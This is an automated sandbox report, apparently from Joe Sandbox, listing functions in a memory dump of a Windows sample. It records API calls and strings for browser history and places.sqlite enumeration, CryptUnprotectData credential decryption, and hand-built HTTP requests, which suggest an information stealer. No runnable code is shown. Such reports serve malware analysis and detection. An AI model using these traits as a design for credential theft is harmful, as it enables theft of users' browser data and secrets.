Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 699e8526d62b3cba908da57516158d26e7681cd71c2ca7589b40981aef7d7fa4
Instruction ID: 047cee9fbb64c9d9f8108ac7b2fe59df9ef839f2015ed912c3a5d14779ea30e0
Opcode Fuzzy Hash: 699e8526d62b3cba908da57516158d26e7681cd71c2ca7589b40981aef7d7fa4
Instruction Fuzzy Hash: 81C08CB81012026DEF083F324811E3B3B2CAD8434A340007EF910B92A2D63CE840802C

Function 00401388 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013B7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013DE

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction ID: a459bd48843060549903651ed84add4fd647ab7a4347e8b1aec55fdbd67c2c02
Opcode Fuzzy Hash: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction Fuzzy Hash: 72F0E972B0032017EB2055690CC1F5265C58B46760F14417BBE08FF7D9C6758C008299

Function 0040AA84 Relevance: 1.7, APIs: 1, Instructions: 187registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,?,00000000,0040ACA6,?,00000000,0041B0FC,0041A69E), ref: 0040AAE6

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 9abfc9f75ffebf2721150bd6bd5fbed50a976a6d9049e49e92d871bcf2c9e187
Instruction ID: ac4e7d83220bd21fd8c6f333f1e90c0bbcc0354ed1def0e792b3592e4231717e
Opcode Fuzzy Hash: 9abfc9f75ffebf2721150bd6bd5fbed50a976a6d9049e49e92d871bcf2c9e187
Instruction Fuzzy Hash: 6C71B2B5A00209AFDB10DF99C981EDEB7F8FB48304F504076EA14F7291DB74AE458B99

Function 0040A4DC Relevance: 1.6, APIs: 1, Instructions: 111comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040A502

Part of subcall function 0040A4A4: CoCreateInstance.OLE32(0041B0DC,00000000,00000005,0040A4CC,00000000,?,00000000,0040A52D,0041A69E), ref: 0040A4BC

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstance
String ID:
API String ID: 3519745914-0
Opcode ID: c7146c2ee00f13a8b070a8ef55d32a8a45292622e180b4121028d47487a371b6
Instruction ID: c08489ea19e13a3d293aecad3beeb391bbc31764778729df2f545245553e63cd
Opcode Fuzzy Hash: c7146c2ee00f13a8b070a8ef55d32a8a45292622e180b4121028d47487a371b6
Instruction Fuzzy Hash: 214161B1A00108AFD704EBA9DC41A9EB7F9EF84304F108076F504E72D1DB789E158B59

Function 0040AA76 Relevance: 1.6, APIs: 1, Instructions: 94registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,?,00000000,0040ACA6,?,00000000,0041B0FC,0041A69E), ref: 0040AAE6

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 26e9b220453cdd747fbd0b884b51338cafa01c5462963c211927f6101c81a63b
Instruction ID: 0eb56dbbdedde93dc071919128606212d987d339c996090b4d76d4a19de309ed
Opcode Fuzzy Hash: 26e9b220453cdd747fbd0b884b51338cafa01c5462963c211927f6101c81a63b
Instruction Fuzzy Hash: 9531D971A00209AFDB10DF99CD81A9EBBF8FB48304F50447AE514F7291D778AA16CB59

Function 0040A472 Relevance: 1.6, APIs: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 0040A502

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 05b4f67209cf29e7d51d4614d9afd77ff3a583cddf87dd53ddac2bdeb3cfee06
Instruction ID: 4128eab0078b9220c17e66a8506c051661ff3a85d7cfe1dd90edc884f7a1437e
Opcode Fuzzy Hash: 05b4f67209cf29e7d51d4614d9afd77ff3a583cddf87dd53ddac2bdeb3cfee06
Instruction Fuzzy Hash: 8521BEB1600248AFD300DBA4D841B9D7BB8EF44304F1140B7F500EB2E2DBB9AE15CB1A

Function 004076B0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

GetFileAttributesW.KERNEL32(00000000,00000000,004076FC,?,0041C7BC,?,?,004083F8,00000000,00000000,004087A8,00000000,%TEMP%\,00000000,00408781), ref: 004076DE

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: String$AllocAttributesFileFree
String ID:
API String ID: 2634384563-0
Opcode ID: 4a55e6a7ccd81ca30525239ac909850159b087d308325e78fb273df2937a63e3
Instruction ID: a7f0668d61e2dec431e32046e2844a6437fd6a4f389a52c14dd3b7fa7bab2667
Opcode Fuzzy Hash: 4a55e6a7ccd81ca30525239ac909850159b087d308325e78fb273df2937a63e3
Instruction Fuzzy Hash: A8F03074514608EFD701EB69CC5289EBBFCEB497647A1057AF410E35D1EB38BE00D568

Function 00403604 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000003,00000000,?,?,00000000,00000001,00000000,00000000,00000001,004036B0,00000000), ref: 0040361A

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction ID: 7e1ccd6cea493bd3454663dff710d39ec61ca1bdc7a044e150527f2c3e7482f1
Opcode Fuzzy Hash: 561e95d8c0e043bb599fe2914a8b8ce540b10e76985e8275bf81900a008061d5
Instruction Fuzzy Hash: 1EC002B22802087FE5149A9ADC46FA7769C9758B50F108029B7089E1D1D5A5B85046BC

Function 00403B58 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403B5F

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 910dd29793ec8a5ceaf1035511d9dc783a106504b7dd8afe82433608cd4bcd15
Instruction ID: bea8321bd29b1b0cb3959915f15724c359703e68ceae1f32cab0dcb1509c9ee6
Opcode Fuzzy Hash: 910dd29793ec8a5ceaf1035511d9dc783a106504b7dd8afe82433608cd4bcd15
Instruction Fuzzy Hash: 9FB0123460820111FA143D720E01B331C5C0B50B4BF880037AD21F51C3DD7DE901503E

Function 00403B70 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403B77

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: d497d8846639aaf179110225e0e01da4904a3c484c5354391378440b3d8208c6
Instruction ID: 1013a877abc153affaca16d078552d4a9b2fa22a8452acd7ddfc898bd50da8eb
Opcode Fuzzy Hash: d497d8846639aaf179110225e0e01da4904a3c484c5354391378440b3d8208c6
Instruction Fuzzy Hash: A6A011A800020288CB0A3A2A00008232A3AAFC8308388C0BEA2002A2A28A3E88008028

Function 00401464 Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 004014C8

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction ID: bdb72b2e4f8392e9a4367bae485781504843fed35f2e07c9585e1bdde9d69fdb
Opcode Fuzzy Hash: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction Fuzzy Hash: 2621F770608710AFC710DF19C8C0A5BBBE5EF85760F14C96AE4989B3A5D378EC41CB9A

Function 0040151C Relevance: 1.3, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00401589

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction ID: d2e5847c23a0d0fb2b7a3dff60909d67c0489ed435542f313e0fa7b23e2e95f5
Opcode Fuzzy Hash: 87944e6d7ec2424c7827a654054cf40cbadd8ec593a4801b2f8f16170b9bc70d
Instruction Fuzzy Hash: 67115E72A44701AFC3109E29CC80A6BBBE2EBC4750F15C539E5996B3A5D734AC408B89

Function 004015B0 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,00401817), ref: 0040160A

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction ID: 104411973d7795ae4b76250d277c099600c8cf09cd5a8da0f47b470ca133b76a
Opcode Fuzzy Hash: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction Fuzzy Hash: 82012B726443105FC3109F28DDC0E6A77E5DBC5324F19493EDA85AB391D33B6C0187A8

Function 00407268 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0de396ab8b4ab150699db8875a7c94bc97bb79a2768214bb77f2aee91b859061
Instruction ID: be2e1885d1cd6db3023e413391b9ef5afbaac7d1908e8d38cf697eb1b5ccea9a
Opcode Fuzzy Hash: 0de396ab8b4ab150699db8875a7c94bc97bb79a2768214bb77f2aee91b859061
Instruction Fuzzy Hash: 74B01270B04000EFCB00DBACC880D5973F5EB8C30071040A1B814E3220CB30BD009F1B

Non-executed Functions

Function 00412D70 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,0041335C,00000000,00000000), ref: 00412E08

Strings

\History, xrefs: 00412EAE
\*.*, xrefs: 00412DEF
.txt, xrefs: 00412F18

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\History
API String ID: 1974802433-2232271174
Opcode ID: 60f1aed37e2e99f440532b90469936e73ba5a5dec6828e4ede608866b0779c33
Instruction ID: 31102d54a49b3a600332046a535115537665bbef1f46384b784085fa532e6d73
Opcode Fuzzy Hash: 60f1aed37e2e99f440532b90469936e73ba5a5dec6828e4ede608866b0779c33
Instruction Fuzzy Hash: 61516C70909259AFCB12EB61CC45BDDBB78EF45304F2041EBA508F7192DA789F898B19

Function 00412D9C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FE0,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,0041335C,00000000,00000000), ref: 00412E08

Strings

\History, xrefs: 00412EAE
\*.*, xrefs: 00412DEF
.txt, xrefs: 00412F18

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\History
API String ID: 1974802433-2232271174
Opcode ID: 9e1fdcc0da242b739753036d29313186668cc0af82581ab44d3f55cd16266d53
Instruction ID: 28420ec06a4cf3b7f255eec712baa8d4c4073a44f08a77f37e2c3042b4162f15
Opcode Fuzzy Hash: 9e1fdcc0da242b739753036d29313186668cc0af82581ab44d3f55cd16266d53
Instruction Fuzzy Hash: 7C515D74904219ABDF10EF51CD45BCDBBB9EF48304F6041FAA508B2291DA789F958F18

Function 0041303C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 139fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00413276,?,00000000,0041B0FC,00000000,00000050,00000000,00000000,?,?,00413E3A,00000000,00000000), ref: 004130A8

Strings

.txt, xrefs: 004131AE
\*.*, xrefs: 0041308F
\places.sqlite, xrefs: 00413144

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.*$\places.sqlite
API String ID: 1974802433-3919338718
Opcode ID: 57caf48ab4afc0b1baef0746783f85f9fbf3cd85722ed1048bbcffe4d93a662f
Instruction ID: 8aac54383f65123cc0eb0a4bac2364391818e056087fcce0e0ee32974804bc60
Opcode Fuzzy Hash: 57caf48ab4afc0b1baef0746783f85f9fbf3cd85722ed1048bbcffe4d93a662f
Instruction Fuzzy Hash: CB513A74904119ABDF10EF61CC45BCDBBB9EF44305F6081FAA508B3291DA39AF858F18

Function 00404C15 Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00402A94: GetKeyboardType.USER32(00000000), ref: 00402A99
Part of subcall function 00402A94: GetKeyboardType.USER32(00000001), ref: 00402AA5

GetCommandLineA.KERNEL32 ref: 00404C7B
GetVersion.KERNEL32 ref: 00404C8F
GetVersion.KERNEL32 ref: 00404CA0
GetCurrentThreadId.KERNEL32 ref: 00404CDC

Part of subcall function 00402AC4: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
Part of subcall function 00402AC4: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
Part of subcall function 00402AC4: RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

GetThreadLocale.KERNEL32 ref: 00404CBC

Part of subcall function 00404B4C: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404BB2), ref: 00404B72

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: f73d26185257f265a94a8c873c422c92913b77d5a1c3acb43c070b40e0b1affb
Instruction ID: 5abcdb9b335a34f550fa88bee7db3b3d0fbbcc1143cdfce7353ba034968c2f47
Opcode Fuzzy Hash: f73d26185257f265a94a8c873c422c92913b77d5a1c3acb43c070b40e0b1affb
Instruction Fuzzy Hash: C30112B0895341D9E714BFF29C863893E60AB89348F11C53FD2506A2F2D77D44449BAE

Function 004111C4 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 201fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,004118A0,00000000,00000000,00412524), ref: 0041122F

Part of subcall function 00410E70: GetTickCount.KERNEL32 ref: 00410EB4
Part of subcall function 00410E70: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

FindNextFileW.KERNEL32(?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000,00000000), ref: 00411495
FindClose.KERNEL32(?,?,?,?,0041156C,?,0041156C,0041A69E,00000000,?,00000000,00411542,?,00000000,0041B0FC,00000000), ref: 004114A6

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 00411355, 00411444
\*.*, xrefs: 00411216

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileFind$CloseCopyCountFirstFreeNextStringTick
String ID: .txt$\*.*
API String ID: 4269597168-2615687548
Opcode ID: 5eb2d59efa555ee89ed57af41da6cad216739ef9bb024f3ea898b5bc55f5b5a7
Instruction ID: 6859e3562032d776fa84e591ecfbf3afacee5e694faebf3c1d1cda20f45b7b98
Opcode Fuzzy Hash: 5eb2d59efa555ee89ed57af41da6cad216739ef9bb024f3ea898b5bc55f5b5a7
Instruction Fuzzy Hash: 6C810C7490021DABDF10EB51CC85BCDB77AEF84304F6041E6A608B62A2DB799F858F58

Function 0041158C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,0041237E,00000000,00000000,00000000), ref: 004115FB
FindNextFileW.KERNEL32(?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000), ref: 00411768
FindClose.KERNEL32(?,?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000), ref: 00411779

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 00411717
\*.*, xrefs: 004115E2

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*
API String ID: 2008072091-2615687548
Opcode ID: 0f6dccddeca5cc831589218911d3f92bb29d96b4250bcad063a90af0a6f30303
Instruction ID: cb1fa36ef6bd00d28df09069f3f2ad3b15c2d413a197645ac6dab8893c9dac73
Opcode Fuzzy Hash: 0f6dccddeca5cc831589218911d3f92bb29d96b4250bcad063a90af0a6f30303
Instruction Fuzzy Hash: 1D514C7490411DABDF10EB61CC45BDDB779EF45304F2085FAA608B22A2DA389F858F18

Function 00411590 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 142fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000,00000000,?,?,0041237E,00000000,00000000,00000000), ref: 004115FB
FindNextFileW.KERNEL32(?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000,00000000), ref: 00411768
FindClose.KERNEL32(?,?,?,?,00411808,?,00411808,0041A69E,00000000,?,00000000,004117DF,?,00000000,0041B0FC,00000000), ref: 00411779

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

.txt, xrefs: 00411717
\*.*, xrefs: 004115E2

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstFreeNextString
String ID: .txt$\*.*
API String ID: 2008072091-2615687548
Opcode ID: f5d4968fc86502ddbcb5c74ae6393bdac5bb8f60082bed19b5c2a5cb9a6abe43
Instruction ID: 05cc79d86d1b55c995a7b8d44de261c7f11cdb27113bd27bc9f6ce20252d4423
Opcode Fuzzy Hash: f5d4968fc86502ddbcb5c74ae6393bdac5bb8f60082bed19b5c2a5cb9a6abe43
Instruction Fuzzy Hash: C3514C7490411DABDF50EB61CC45BCDB779EF44304F6085FAA608B32A2DA399F858F58

Function 004094C4 Relevance: 3.0, APIs: 2, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 004094E5
LocalFree.KERNEL32(?), ref: 0040950A

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 7af865200370c71dc1aeec28a3f245545c66ce1c623f0b7719112b5aa0c6dde3
Instruction ID: 8d19d854ff734d332b2dbdc515c77238868d08609e2067f50d6fa790567ddd23
Opcode Fuzzy Hash: 7af865200370c71dc1aeec28a3f245545c66ce1c623f0b7719112b5aa0c6dde3
Instruction Fuzzy Hash: 85F0B4B17043007BD7009E5ACC81B4BB7D8AB84710F10893EB558DB2D2D774D8054B5A

Function 00404B4C Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404BB2), ref: 00404B72

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b9dbded4df740f95a366ffb3c725a865bd77cd50a76c54eebdafbaeb84b8c7b9
Instruction ID: e83552b6022aae669f2d5c27f359814ee46eaea323ddb5c136f95371eef2deca
Opcode Fuzzy Hash: b9dbded4df740f95a366ffb3c725a865bd77cd50a76c54eebdafbaeb84b8c7b9
Instruction Fuzzy Hash: 0FF0A470A04209AFEB15DE91CC41A9EF7BAF7C4714F40847AA610762C1E7B86A048698

Function 00407A34 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Function 00418124 Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418535,?,00000000,00000000,?,00418B28,00000000,?,?,?,?,?,0041B0FC,0000044D), ref: 004181B0
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418535,?,00000000,00000000,?,00418B28,00000000,?,?,?,?,?,0041B0FC), ref: 004181C4
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 004181D8
GetProcAddress.KERNEL32(00000000,-00000017), ref: 004181EF
GetProcAddress.KERNEL32(00000000,-00000025), ref: 00418206
GetProcAddress.KERNEL32(00000000,-0000002C), ref: 0041821D
GetProcAddress.KERNEL32(00000000,-00000031), ref: 00418234
GetProcAddress.KERNEL32(00000000,-00000036), ref: 0041824B
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 00418262
GetProcAddress.KERNEL32(00000000,-00000044), ref: 00418279

Strings

, xrefs: 004183FE
Host: , xrefs: 00418398
Connection: close, xrefs: 004183A5
HTTP/1.0, xrefs: 00418393
User-agent: , xrefs: 004183AA
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 004183AF
Content-Length: , xrefs: 004183B9
, xrefs: 004184B6
wsock32.dll, xrefs: 0041819D

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: $$ HTTP/1.0$Connection: close$Content-Length: $Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$User-agent: $wsock32.dll
API String ID: 384173800-3355491746
Opcode ID: 447bc90b094ad6630a41df1a26737c259296e5cff920802da588b0ecfe34b4d8
Instruction ID: acd65350bdfe250b2cabb462dd412f1b2f53023e341749034ab9d15be0839763
Opcode Fuzzy Hash: 447bc90b094ad6630a41df1a26737c259296e5cff920802da588b0ecfe34b4d8
Instruction Fuzzy Hash: 85B1DFB1940219AFDB11EF65CC86BDF7BB8EF44306F50407BF504B2291DB789A458E58

Function 00407DD0 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E00
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407E06
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E17
